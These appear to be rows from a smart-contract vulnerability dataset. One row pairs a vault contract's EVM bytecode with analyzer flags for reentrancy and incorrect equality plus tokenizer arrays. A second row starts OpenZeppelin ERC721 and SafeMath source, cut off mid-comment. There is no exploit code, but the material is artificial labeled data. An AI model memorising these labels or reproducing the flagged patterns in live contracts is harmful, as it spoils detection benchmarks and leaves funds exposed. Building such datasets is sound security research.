16916020810135909116906040013561097c565b6103b8610a0a565b6040805160ff9092168252519081900360200190f35b61034e600480360360408110156103e457600080fd5b506001600160a01b038135169060200135610a13565b61034e6004803603602081101561041057600080fd5b50356001600160a01b0316610a67565b6102896004803603602081101561043657600080fd5b50356001600160a01b0316610a7c565b6102896004803603604081101561045c57600080fd5b5080359060200135610b78565b6102896004803603604081101561047f57600080fd5b506001600160a01b038135169060200135610f23565b610289600480360360408110156104ab57600080fd5b506001600160a01b0381351690602001351515611374565b610293611420565b610289600480360360208110156104e157600080fd5b503561142a565b61034e6114c2565b6102936114cb565b6102896004803603602081101561050e57600080fd5b50356001600160a01b03166114d5565b6102936004803603602081101561053457600080fd5b50356001600160a01b0316611591565b6102936115ac565b6102896004803603602081101561056257600080fd5b50356001600160a01b03166115b6565b6102896004803603602081101561058857600080fd5b50356001600160a01b031661167f565b6102ad611744565b610293600480360360208110156105b657600080fd5b50356117a5565b61034e600480360360208110156105d357600080fd5b50356001600160a01b03166117d1565b6102936117e6565b61034e6004803603604081101561060157600080fd5b506001600160a01b0381351690602001356117f0565b61061f61185e565b604080516001600160a01b039092168252519081900360200190f35b61034e6004803603604081101561065157600080fd5b506001600160a01b03813516906020013561186d565b6102896004803603602081101561067d57600080fd5b5035611881565b6102896004803603602081101561069a57600080fd5b503561191a565b610289600480360360208110156106b757600080fd5b50356001600160a01b0316611aee565b610289600480360360208110156106dd57600080fd5b50351515611be3565b61061f611c3e565b6102936004803603604081101561070457600080fd5b506001600160a01b0381358116916020013516611c4d565b610289611c78565b610293611ed8565b61061f611ede565b61061f611eed565b61061f611efc565b6007546001600160a01b0316331461078c576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5996001600160a01b0316816001600160a01b03161415610809576040805162461bcd60e51b81526020600482015260136024820152723a37b5b2b7101e903b30bab63a173a37b5b2b760691b604482015290519081900360640190fd5b600754604080516370a0823160e01b8152306004820152905161089f926001600160a01b0390811692908516916370a0823191602480820192602092909190829003018186803b15801561085c57600080fd5b505afa158015610870573d6000803e3d6000fd5b505050506040513d602081101561088657600080fd5b50516001600160a01b038416919063ffffffff611f2016565b50565b60006108ac611f77565b90505b90565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561093e5780601f106109135761010080835404028352916020019161093e565b820191906000526020600020905b81548152906001019060200180831161092157829003601f168201915b5050505050905090565b600061095c610955611f98565b8484611f9c565b5060015b92915050565b60025490565b60006108ac612088565b600c5481565b60006109898484846120b4565b6109ff84610995611f98565b6109fa85604051806060016040528060288152602001612cf3602891396001600160a01b038a166000908152600160205260408120906109d3611f98565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61221b16565b611f9c565b5060015b9392505050565b60055460ff1690565b600061095c610a20611f98565b846109fa8560016000610a31611f98565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6122b216565b600b6020526000908152604090205460ff1681565b6009546001600160a01b03163314610ac8576040805162461bcd60e51b815260206004820152600a6024820152692174696d65206c6f636b60b01b604482015290519081900360640190fd5b6001600160a01b038116610b1d576040805162461bcd60e51b81526020600482015260176024820152767374726174656779203d207a65726f206164647265737360481b604482015290519081900360640190fd5b6001600160a01b0381166000818152600b6020908152604091829020805460ff19166001179055815192835290517f4c6d0fbb89373829bc56000a87d561331bca06f725fd8861d055215ed90f209b9281900390910190a150565b60026006541415610bd0576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260065533321480610bf25750336000908152600f602052604090205460ff165b610c30576040805162461bcd60e51b815260206004820152600a602482015269085dda1a5d195b1a5cdd60b21b604482015290519081900360640190fd5b60008211610c72576040805162461bcd60e51b815260206004820152600a6024820152690736861726573203d20360b41b604482015290519081900360640190fd5b6000610c7c61230c565b90506000610c886123a7565b90506000610c97858484612410565b9050610ca33386612493565b80831015610e97578080831015610cb75750815b600a5460408051632e1a7d4d60e01b81526004810184905290516001600160a01b0390921691632e1a7d4d9160248082019260009290919082900301818387803b158015610d0457600080fd5b505af1158015610d18573d6000803e3d6000fd5b505050506000610d2661230c565b90506000610d3a828763ffffffff61259b16565b905082811015610d5957610d568385038263ffffffff6122b216565b93505b6000612710610d73600d54876125dd90919063ffffffff16565b81610d7a57fe5b0490508015610e9257600854604080516361d027b360e01b815290516000926001600160a01b0316916361d027b3916004808301926020929190829003018186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d6020811015610df257600080fd5b505190506001600160a01b038116610e51576040805162461bcd60e51b815260206004820152601760248201527f7472656173757279203d207a65726f2061646472657373000000000000000000604482015290519081900360640190fd5b9481900394610e906001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59916828463ffffffff611f2016565b505b505050505b83811015610edd576040805162461bcd60e51b815260206004820152600e60248201526d3bb4ba34323930bb901e1036b4b760911b604482015290519081900360640190fd5b610f176001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59916338363ffffffff611f2016565b50506001600655505050565b6007546001600160a01b0316331480610f4657506008546001600160a01b031633145b610f85576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b602052604090205460ff16610fde576040805162461bcd60e51b815260206004820152600960248201526808585c1c1c9bdd995960ba1b604482015290519081900360640190fd5b600a546001600160a01b0383811691161415611041576040805162461bcd60e51b815260206004820152601f60248201527f6e6577207374726174656779203d2063757272656e7420737472617465677900604482015290519081900360640190fd5b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5996001600160a01b0316826001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d60208110156110ce57600080fd5b50516001600160a01b03161461112b576040805162461bcd60e51b815260206004820152601d60248201527f73747261746567792e746f6b656e20213d207661756c742e746f6b656e000000604482015290519081900360640190fd5b306001600160a01b0316826001600160a01b031663fbfa77cf6040518163ffffffff1660e01b815260040160206040518083038186803b15801561116e57600080fd5b505afa158015611182573d6000803e3d6000fd5b505050506040513d602081101561119857600080fd5b50516001600160a01b0316146111f5576040805162461bcd60e51b815260206004820152601760248201527f73747261746567792e7661756c7420213d207661756c74000000000000000000604482015290519081900360640190fd5b600a546001600160a01b03161561131957600a54611241906001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599811691166000612636565b600061124b61230c565b9050600a60009054906101000a90046001600160a01b03166001600160a01b031663e9fad8ee6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561129d57600080fd5b505af11580156112b1573d6000803e3d6000fd5b5050505060006112bf61230c565b9050826112d2828463ffffffff61259b16565b1015611316576040805162461bcd60e51b815260206004820152600e60248201526d3bb4ba34323930bb901e1036b4b760911b604482015290519081900360640190fd5b50505b600a80546001600160a01b0319166001600160a01b03848116919091179182905560408051929091168252517f3412691e1ea2503d6eec15597247048016213c19646b73d4320a20c790b67ee2916020908290030190a15050565b6007546001600160a01b031633146113bc576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b6001600160a01b0382166000818152600f6020908152604091829020805460ff191685151590811790915582519384529083015280517ff6019ec0a78d156d249a1ec7579e2321f6ac7521d6e1d2eacf90ba4a184dcceb9281900390910190a15050565b60006108ac61230c565b6007546001600160a01b03163314611472576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b6127108111156114bd576040805162461bcd60e51b81526020600482015260116024820152700e4cae6cae4ecca40dad2dc407c40dac2f607b1b604482015290519081900360640190fd5b600c55565b600e5460ff1681565b60006108ac612749565b6007546001600160a01b0316331461151d576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b6001600160a01b03811661156f576040805162461bcd60e51b815260206004820152601460248201527361646d696e203d207a65726f206164647265737360601b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60006108ac6123a7565b6009546001600160a01b03163314611602576040805162461bcd60e51b815260206004820152600a6024820152692174696d65206c6f636b60b01b604482015290519081900360640190fd5b6001600160a01b03811661165d576040805162461bcd60e51b815260206004820152601860248201527f74696d65206c6f636b203d207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031633146116c7576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b6001600160a01b038116611722576040805162461bcd60e51b815260206004820152601960248201527f636f6e74726f6c6c6572203d207a65726f206164647265737300000000000000604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561093e5780601f106109135761010080835404028352916020019161093e565b6000806117b061230c565b905060006117bc6123a7565b90506117c9848383612410565b949350505050565b600f6020526000908152604090205460ff1681565b60006108ac6127b2565b600061095c6117fd611f98565b846109fa85604051806060016040528060258152602001612de56025913960016000611827611f98565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61221b16565b600a546001600160a01b031681565b600061095c61187a611f98565b84846120b4565b6007546001600160a01b031633146118c9576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b6101f4811115611915576040805162461bcd60e51b81526020600482015260126024820152710776974686472617720666565203e206361760741b604482015290519081900360640190fd5b600d55565b600e5460ff161561195b576040805162461bcd60e51b81526020600482015260066024820152651c185d5cd95960d21b604482015290519081900360640190fd5b600260065414156119b3576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655333214806119d55750336000908152600f602052604090205460ff165b611a13576040805162461bcd60e51b815260206004820152600a602482015269085dda1a5d195b1a5cdd60b21b604482015290519081900360640190fd5b60008111611a55576040805162461bcd60e51b815260206004820152600a6024820152690616d6f756e74203d20360b41b604482015290519081900360640190fd5b6000611a5f611f77565b90506000611a6b610966565b9050600081611a7b575082611a9e565b611a9b83611a8f868563ffffffff6125dd16565b9063ffffffff6127fe16565b90505b611aa83382612840565b611ae36001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5991633308763ffffffff61293c16565b505060016006555050565b6007546001600160a01b03163314611b36576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b6001600160a01b038116611b8b576040805162461bcd60e51b81526020600482015260176024820152767374726174656779203d207a65726f206164647265737360481b604482015290519081900360640190fd5b6001600160a01b0381166000818152600b6020908152604091829020805460ff19169055815192835290517f7d3e35e217272b8400fec8397b08eb8c60c4db9ae834af14ac0fc9c0bb914a8f9281900390910190a150565b6007546001600160a01b03163314611c2b576040805162461bcd60e51b815260206004820152600660248201526510b0b236b4b760d11b604482015290519081900360640190fd5b600e805460ff1916911515919091179055565b6009546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b0316611ccf576040805162461bcd60e51b81526020600482015260176024820152767374726174656779203d207a65726f206164647265737360481b604482015290519081900360640190fd5b600e5460ff1615611d10576040805162461bcd60e51b81526020600482015260066024820152651c185d5cd95960d21b604482015290519081900360640190fd5b6007546001600160a01b0316331480611d3357506008546001600160a01b031633145b611d72576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b6000611d7c6127b2565b905060008111611dc3576040805162461bcd60e51b815260206004820152600d60248201526c0617661696c61626c65203d203609c1b604482015290519081900360640190fd5b600a54611dfe906001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599811691166000612636565b600a54611e38906001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5998116911683612636565b600a546040805163b6b55f2560e01b81526004810184905290516001600160a01b039092169163b6b55f259160248082019260009290919082900301818387803b158015611e8557600080fd5b505af1158015611e99573d6000803e3d6000fd5b5050600a5461089f92506001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981169250166000612636565b600d5481565b6008546001600160a01b031681565b6007546001600160a01b031681565b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611f7290849061299c565b505050565b60006108ac611f84612749565b611f8c61230c565b9063ffffffff6122b216565b3390565b6001600160a01b038316611fe15760405162461bcd60e51b8152600401808060200182810382526024815260200180612d616024913960400191505060405180910390fd5b6001600160a01b0382166120265760405162461bcd60e51b8152600401808060200182810382526022815260200180612c8a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60006127106120a7600c5461209b611f77565b9063ffffffff6125dd16565b816120ae57fe5b04905090565b6001600160a01b0383166120f95760405162461bcd60e51b8152600401808060200182810382526025815260200180612d3c6025913960400191505060405180910390fd5b6001600160a01b03821661213e5760405162461bcd60e51b8152600401808060200182810382526023815260200180612c456023913960400191505060405180910390fd5b612149838383611f72565b61218c81604051806060016040528060268152602001612cac602691396001600160a01b038616600090815260208190526040902054919063ffffffff61221b16565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546121c1908263ffffffff6122b216565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156122aa5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561226f578181015183820152602001612257565b50505050905090810190601f16801561229c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610a03576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59916916370a0823191602480820192602092909190829003018186803b15801561237657600080fd5b505afa15801561238a573d6000803e3d6000fd5b505050506040513d60208110156123a057600080fd5b5051905090565b600a546000906001600160a01b03166123c2575060006108af565b600a60009054906101000a90046001600160a01b03166001600160a01b03166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b15801561237657600080fd5b60008061241b612749565b905060008184111561243e57612437858363ffffffff6122b216565b9050612451565b61244e858563ffffffff6122b216565b90505b600061245b610966565b905080156124865780612474888463ffffffff6125dd16565b8161247b57fe5b049350505050610a03565b5060009695505050505050565b6001600160a01b0382166124d85760405162461bcd60e51b8152600401808060200182810382526021815260200180612d1b6021913960400191505060405180910390fd5b6124e482600083611f72565b61252781604051806060016040528060228152602001612c68602291396001600160a01b038516600090815260208190526040902054919063ffffffff61221b16565b6001600160a01b038316600090815260208190526040902055600254612553908263ffffffff61259b16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000610a0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061221b565b6000826125ec57506000610960565b828202828482816125f957fe5b0414610a035760405162461bcd60e51b8152600401808060200182810382526021815260200180612cd26021913960400191505060405180910390fd5b8015806126bc575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561268e57600080fd5b505afa1580156126a2573d6000803e3d6000fd5b505050506040513d60208110156126b857600080fd5b5051155b6126f75760405162461bcd60e51b8152600401808060200182810382526036815260200180612daf6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052611f7290849061299c565b600a546000906001600160a01b0316612764575060006108af565b600a60009054906101000a90046001600160a01b03166001600160a01b031663fc7b9c186040518163ffffffff1660e01b815260040160206040518083038186803b15801561237657600080fd5b600a546000906001600160a01b03166127cd575060006108af565b60006127d761230c565b905060006127e3612088565b90508082116127f7576000925050506108af565b9003905090565b6000610a0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a4d565b6001600160a01b03821661289b576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6128a760008383611f72565b6002546128ba908263ffffffff6122b216565b6002556001600160a01b0382166000908152602081905260409020546128e6908263ffffffff6122b216565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261299690859061299c565b50505050565b60606129f1826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612ab29092919063ffffffff16565b805190915015611f7257808060200190516020811015612a1057600080fd5b5051611f725760405162461bcd60e51b815260040180806020018281038252602a815260200180612d85602a913960400191505060405180910390fd5b60008183612a9c5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561226f578181015183820152602001612257565b506000838581612aa857fe5b0495945050505050565b60606117c9848460008585612ac685612bd8565b612b17576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310612b565780518252601f199092019160209182019101612b37565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612bb8576040519150601f19603f3d011682016040523d82523d6000602084013e612bbd565b606091505b5091509150612bcd828286612bde565b979650505050505050565b3b151590565b60608315612bed575081610a03565b825115612bfd5782518084602001fd5b60405162461bcd60e51b815260206004820181815284516024840152845185939192839260440191908501908083836000831561226f57818101518382015260200161225756fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202aefaef79d1b6f7fe95d46bf9b4b9bee5f1b7a00c7365026e11f7d4d886d4d0d64736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 22407, 17134, 23777, 12740, 2575, 3207, 29292, 20842, 2683, 29292, 18613, 2497, 2581, 22394, 16020, 12879, 21926, 2278, 27531, 2475, 2497, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2340, 1025, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,063
0x962857e3D73B3c520336DC6C5F12d114cDdD3B1e
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart 